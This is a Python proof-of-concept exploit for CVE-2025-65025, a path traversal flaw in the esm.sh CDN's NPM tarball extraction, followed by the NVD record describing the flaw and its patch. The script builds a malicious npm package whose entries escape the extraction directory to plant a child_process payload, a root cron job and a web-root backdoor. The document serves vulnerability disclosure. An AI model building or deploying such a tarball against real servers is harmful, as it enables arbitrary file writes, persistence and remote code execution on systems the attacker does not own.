CVE-2025-65025

import tarfile import os import io # PoC: Create a malicious NPM package with path traversal # This demonstrates how an attacker can craft a malicious tarball def create_malicious_tarball(): """ Create a malicious NPM package tarball with path traversal payload """ # Malicious files to be written outside extraction directory malicious_files = [ ('../../tmp/evil.js', b'// Malicious code\nrequire("child_process").exec("malicious_command");'), ('../../../../etc/cron.d/malicious', b'* * * * * root /tmp/evil.js\n'), ('../../var/www/html/backdoor.js', b'// Backdoor script\nmodule.exports = require("child_process").execSync;'), ] # Create tarball in memory tar_buffer = io.BytesIO() with tarfile.open(fileobj=tar_buffer, mode='w', format=tarfile.PAX_FORMAT) as tar: # Add package.json package_json = b'{"name": "malicious-package", "version": "1.0.0", "main": "index.js"}' info = tarfile.TarInfo(name='package/package.json') info.size = len(package_json) tar.addfile(info, io.BytesIO(package_json)) # Add malicious files with path traversal for filepath, content in malicious_files: info = tarfile.TarInfo(name=f'package/{filepath}') info.size = len(content) tar.addfile(info, io.BytesIO(content)) print(f'[+] Added malicious file: {filepath}') return tar_buffer.getvalue() if __name__ == '__main__': print('[*] Generating malicious NPM package tarball...') tarball_data = create_malicious_tarball() # Save the tarball with open('malicious-package-1.0.0.tgz', 'wb') as f: f.write(tarball_data) print('[+] Malicious tarball created: malicious-package-1.0.0.tgz') print('[+] When extracted by esm.sh, files will be written to arbitrary locations')

{"cve": {"id": "CVE-2025-65025", "sourceIdentifier": "[email protected]", "published": "2025-11-19T18:15:49.840", "lastModified": "2026-01-15T17:52:38.600", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "esm.sh is a nobuild content delivery network(CDN) for modern web development. Prior to version 136, the esm.sh CDN service is vulnerable to path traversal during NPM package tarball extraction. An attacker can craft a malicious NPM package containing specially crafted file paths (e.g., package/../../tmp/evil.js). When esm.sh downloads and extracts this package, files may be written to arbitrary locations on the server, escaping the intended extraction directory. This issue has been patched in version 136."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:esm:esm.sh:*:*:*:*:*:*:*:*", "versionEndExcluding": "136", "matchCriteriaId": "6FB0321A-8476-4667-8F8F-BF9D9E1DF466"}]}]}], "references": [{"url": "https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-h3mw-4f23-gwpw", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-h3mw-4f23-gwpw", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}